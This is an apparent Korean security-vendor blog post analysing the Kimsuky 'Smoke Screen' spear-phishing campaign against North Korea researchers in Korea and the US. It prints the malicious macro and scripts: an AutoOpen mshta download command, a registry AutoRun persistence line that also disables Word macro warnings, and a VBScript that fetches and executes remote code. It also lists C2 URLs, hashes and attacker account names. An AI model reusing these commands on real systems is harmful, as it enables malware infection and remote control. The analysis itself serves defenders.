상세 컨텐츠

본문 제목

암호화된 APT 공격, Kimsuky 조직의 '스모크 스크린' PART 2

악성코드 분석 리포트

by 알약(Alyac) 2019. 5. 13. 17:34

본문



안녕하세요? 이스트시큐리티 시큐리티 대응센터(이하 ESRC) 입니다.


지난 04월 17일 "한ㆍ미 겨냥 APT 캠페인 '스모크 스크린' Kimsuky 실체 공개" 리포팅을 통해 한국과 미국을 대상으로 은밀하게 수행 중인 APT 공격의 배후가 드러난 바 있습니다.


약 한달이 지난 지금까지도 '스모크 스크린' 캠페인을 벌인 조직의 대남, 대미 사이버 첩보 활동이 멈추지 않고 있습니다.


흥미로운 점은 이들이 한국과 미국을 상대로 스피어 피싱(Spear Phishing) 공격을 수행하면서, 보안 탐지 시스템을 간단하게 우회하고 있다는 것입니다.



■ 보안 기밀 문서로 위장한 연막(스모크 스크린) 작전 배경



ESRC는 한국과 미국의 북한관련 분야에 종사하는 전문직만 겨냥한 이들의 활동을 관찰하고 분석하면서 공통적인 단서를 목격할 수 있었습니다.


한국을 대상으로 할 경우에는 주로 HWP 문서 파일의 취약점을 쓰고, 미국을 표적으로 삼을 경우에는 DOC 문서 기반의 맞춤형 미끼를 활용하는 것입니다.


특히, 유사 악성 파일을 탐지하는 보안 시스템을 우회하기 위해 각 문서 작성 소프트웨어의 자체 암호 기능을 적용하고 있습니다.


다수의 보안 서비스들은 기존에 알려진 악성 패턴이 존재하거나, 잠재적으로 유해 가능 코드를 식별하기 위해 다양한 문서 포맷의 내부에 접근하여야 하는데, 자체 암호화 기능이 적용된 경우 이러한 분석이 어렵기 때문입니다.


그렇기 때문에 바이러스 토탈(Virus Total) 서비스에 실제 악성으로 알려진 APT 공격용 문서 파일의 탐지 비율이 현저히 낮거나, 암호를 확인하기 전까진 판단이 지연 또는 보류될 수 있고, 이는 아주 정상적인 결과입니다.





■ APT 위협 조직의 고유한 아이디와 다양한 단서들 



ESRC에서는 지난 4월 '스모크 스크린' 캠페인을 통해 위협 배후가 사용하는 각종 컴퓨터 계정명과 이메일 주소, SNS, 메신저 정보들을 공개한 바 있습니다.



 windowsmb

 JamFedura

 Aji

 snow8949

 JamShine1993

 tiger199392

 jamfedura0293

 코인짱1985

 tiger1993

 aji9170

 aji199293

 rjh917

 devAji917

 Fungsyujonggu

 om197019621993

 tom

 faeofua



특히, 이들이 사이버 첩보 활동뿐만 아니라, 암호화폐 및 사행성 도박게임 분야의 전문 개발자로 둔갑해 각종 프리랜서 사이트에서 소프트웨어 개발 대행 업무 및 비트코인 거래를 통한 외화벌이에 집중하고 있다는 실체가 세상에 드러난 바 있습니다.


그리고 카카오톡, 텔레그램, 스카이프 등을 통해 개인별 1:1 사이버 접선 방식을 통해 다양한 교류를 시도한 점은 사이버 위협이 갈수록 대담해지고, 우리 주변까지 가깝게 다가온 것을 단적으로 보여준 사례입니다.



■ 5월 수행된 실제 공격 벡터 #1 (DOC 기반 사례)



2019년 05월 현재, '스모크 스크린' 캠페인은 계속 진행되고 있으며, 북한과 관련된 연구 및 해당 분야에 종사하는 한미 관계자가 주요 표적이 되고 있습니다.


05월 01일 포착된 것은 04월 29일 제작된 악성 DOC 문서가 첨부된 스피어 피싱 공격으로 부터 시작되었습니다.


이 공격은 동북아 안보 문제와 북한을 전문적으로 연구하는 미국의 특정 싱크탱크 소속의 연구원이 보낸 내용처럼 위장하였습니다.


루어(Lure)를 포함한 캐스팅 플로우는 기존에 알려진 방식과 큰 차이는 없지만, 한국에서 주로 쓰이던 문서 암호 설정 방식이 도입되었습니다.


문서에 사용된 보안 요구 화면이 지나면, 다음과 같이 보안 경고 메시지와 함께 매크로 실행을 유도하게 됩니다. 여기서 [콘텐츠 실행] 버튼을 클릭해 매크로 기능이 작동되면, 예상대로 악의적인 기능이 수행됩니다.



[그림 1] 암호가 입력된 악성 DOC 문서가 실행된 후 보여지는 화면



미국을 상대로 진행된 공격용 문서가 한국어 기반으로 작성된 것을 볼 수 있는데, 이는 공격자가 한글버전의 윈도우 운영체제를 사용하고 있다는 단서 중 하나 입니다.


그리고 이 문서를 가장 마지막에 수정한 계정이 '스모크 스크린' 캠페인에서 공개한 바 있는 'windowsmb' 계정과 정확히 일치합니다.



[그림 2] 악성 문서 파일을 마지막으로 수정한 'windowsmb' 화면



DOC 악성 문서의 매크로에는 다음과 같은 코드가 포함되어 있으며, 암호를 설정해 편집이나 분석을 하지 못하도록 방해합니다.



' module: ThisDocument


Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "1Normal.ThisDocument"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True

Attribute VB_Customizable = True



' module: NewMacros


Attribute VB_Name = "NewMacros"

Sub AutoOpen()

'

' AutoOpen Macro

'

Shell ("mshta https://bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/Ahfzo0[.]hta")

End Sub



쉘 명령으로 작동하는 'Ahfzo0.hta' 파일에는 다음과 같은 비주얼 베이직 스크립트 코드 명령을 가지고 있습니다.



[그림 3] 'Ahfzo0.hta' 코드 내부 화면

 


'expres.php?op=1' 사이트로 접근할 경우 인코딩된 php 명령이 로드되며, hta 파일에서 인코딩 키로 선언된 '11' 값을 통해 디코딩 절차를 거치게 됩니다.


디코딩된 후 수행되는 명령에는 'pwzpz.js', 'nqtas.vbs', 'tmp.bat' 등의 쉘 스크립트와 파워쉘 명령을 담고 있습니다.



wShell=new ActiveXObject("WScript.Shell");retu=wShell.run("cmd.exe /c timeout 5 & taskkill /im cmd.exe",0,true);



On Error Resume Next:Set wShell=CreateObject("WScript.Shell"):file_bat= wShell.ExpandEnvironmentStrings("%appdata%") & "\tmp.bat":retu=wShell.run("cmd.exe /c timeout 5 &"""&file_bat&"""",0,true)



reg add "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "powershell.exe start-process -windowstyle hidden -filepath mshta.exe https://bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/Ahfzo[.]hta" /f & reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security" /v VBAWarnings /t REG_DWORD /d "1" /f& reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security" /v VBAWarnings /t REG_DWORD /d "1" /f& reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security" /v VBAWarnings /t REG_DWORD /d "1" /f & del "%appdata%\tmp.bat"



그리고 정상적인 문서 파일을 다운로드해 로딩하는 과정을 거치게 됩니다.



[그림 4] 추가 다운로드 후 보여지는 정상 문서 화면



공격자가 구축한 서버는 다음과 같은 구조를 가지고 있으며, 다양한 원격 명령을 통해 추가 악성코드를 설치할 수 있습니다.



- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/Ahfzo0[.]hta

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/Ahfzo[.]hta

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/expres[.]php?op=1

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/upload[.]php

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/cow[.]php?op=cow[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/cow_pass[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/cow[.]php?op=exe[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/cow[.]php?op=dll[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/power_dir[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/power_com[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/power_com_wow[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/power_exe[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/power_exe_del[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/power_key[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/power_key_j[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/power_kill[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/asist[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/asist_vbs_getfiles[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/asist_vbs_exe_down[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/drop[.]gif

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/blackip[.]txt

- bit-albania.com/sekretar_bit_shkurt2019/webs/rez/us/resp[_]suspect



특히, 접속자들의 아이피 주소와 컴퓨터 정보들을 수집해 분석 환경일 경우 방해하는 기능도 존재하며, 공격자의 의도에 따라 암호화된 악성 코드를 설치할 수 있는데, 원격제어(RAT) 등의 피해로 이어질 수 있습니다.



[그림 5] 디코딩된 명령어 화면



'cow.gif', 'exe.gif' 파일은 Base64 기반으로 인코딩된 형태의 악성 코드이며, 일부는 리버스 루틴이 적용되어 있습니다.



 File Name

 cow.gif

 MD5

 0e595fb4462e99f392d441d960f8bc93


 File Name

 exe.gif

 MD5

 d264875dab332d3475b99461310d7fff



복호화를 거치면, 'EGIS Co., Ltd.' 디지털 서명을 가진 악성 파일이 확인됩니다.



[그림 6] EGIS 디지털 서명 화면



복호화된 DLL 파일의 경우에는 다음과 같은 PDB 값을 가지고 있으며, Mutex 값은 '__START_MYTEST_MARKuuuii__' 입니다.



- L:\TEMP_WORK\VC_work\rrrr_dllload.dll_OK\Release\rrrr.pdb



[그림 7] rrrr.pdb 화면




'cow.gif' 파일의 경우에는 중국어로 빌드된 악성 Dll 파일인데, PCRat 원격제어 프로그램의 'Server.dll' 파일 기능을 수행하게 되며, '173.248.170.149' 서버로 통신을 시도하게 됩니다. 


공격자는 기존에 공개되어 있던 PCRat 프로그램을 통해 악성 코드를 제작했으며, 일부 버전은 소스 코드가 인터넷에 공유되어 있습니다.


ESRC에서는 2017년 동일한 공격 조직이 명령제어(C2) 서버에서 PCRat 공격자용을 발견한 바 있고, 이곳에서는 한글로 복사본 흔적도 목격된 바 있습니다.



[그림 8] 2017년 C2 서버에서 발견된 PCRat 화면



■ 5월 수행된 실제 공격 벡터 #2 (HWP 기반 사례)

 


앞서 살펴본 사례와 같이 지난 05월 01일에는 미국의 싱크탱크 연구원이 보낸 것처럼 위장한 위협으로 미국에서 보고되었습니다.


그리고 05월 02일 한국에서는 '안보정세-북·러 정상회담 결과보고.hwp' 파일명으로 대북관련 한국인 종사자에게 공격이 수행됐습니다.



[그림 9] 공격 이메일 화면



한국과 미국의 시차를 고려해 봤을 때 거의 같은 시기에 '스모크 스크린' 캠페인이 활발히 수행됐다는 점을 예측해 볼 수 있습니다.


한국을 공격할 때 사용한 악성 HWP 문서 파일도 DOC 문서 때와 동일하게 암호 설정 기능이 적용되어 있습니다.


따라서 암호를 알지 못하면, 보안 제품이 조기 대응하는데 제한이 발생할 수 있으며, 이번 공격에는 흥미롭게도 이메일 본문에도 별도의 암호가 존재하지 않았습니다.


ESRC는 공격에 사용된 코드를 추적하는 과정에서 암호가 설정되지 않은 사례를 확보해 분석을 진행했습니다.



[그림 10] HWP 내부 구조에 포함된 악성 포스트 스크립트 화면



포스트 스크립트에 존재하는 쉘코드를 분석하면 'first.hta' 코드를 통해 명령을 수행하게 됩니다.


- http://a2khs.mireene.co.kr/plugin/sms5/skin/basic/nodejs/first[.]hta



[그림 11] 쉘코드를 통한 C2 통신 화면



'first.hta' 코드에는 다음과 같이 'expres.php' 명령을 수행하게 됩니다.



<script language="VBScript">

On Error Resume Next:

Set Post0 = CreateObject("MSXML2.ServerXMLHTTP.6.0"):

Post0.open "GET", "http://a2khs.mireene.co.kr/plugin/sms5/skin/basic/nodejs/expres[.]php?op=1", False:

Post0.Send:

t0=Post0.responseText:

Execute(t0)



이 공격 패턴은 기존 '스모크 스크린'과 일맥상통하고 있어 별도의 내용은 생략하도록 하겠습니다.


최종적으로 'keylogger1.ps1' 파워쉘 명령을 통해 감염된 컴퓨터 정보를 수집하게 되며, 명령이 수행하는 과정에 화면에는 다음과 같은 정상 문서 내용을 보여주게 됩니다.



[그림 12] HWP 악성 문서가 실행된 후 보여지는 화면



악성 HWP 파일에 남겨졌던 공격자 계정은 'Tom' 에서 'faeofua' 으로 변경된 특징이 있습니다.



[그림 13] 문서별 메타 데이터 화면



■ 마무리



ESRC는 '스모크 스크린' 캠페인의 배후에 정부 후원을 받고 있는 위협 그룹이 있다고 확신하고 있습니다.


이들은 수년간 한국의 주요 기관 및 기업을 대상으로 APT 공격을 수행하고 있을 뿐만 아니라, 미국내 북한분야 연구 조직에 대한 공격도 수행하는 등 갈수록 대담해지고 있습니다.


국가 차원의 사이버 첩보전이 치열해지고 있는 상황에서, 공격 그룹에 대한 다양한 정보 수집과 인텔리전스 협력을 통해 보다 신속한 대응안이 필요합니다.


유사 위협에 사용된 도구와 침해지표(IoC) 등을 '쓰렛 인사이드(Threat Inside)' 위협 인텔리전스 리포트를 통해 별도로 제공할 예정입니다.


 



관련글 더보기

댓글 영역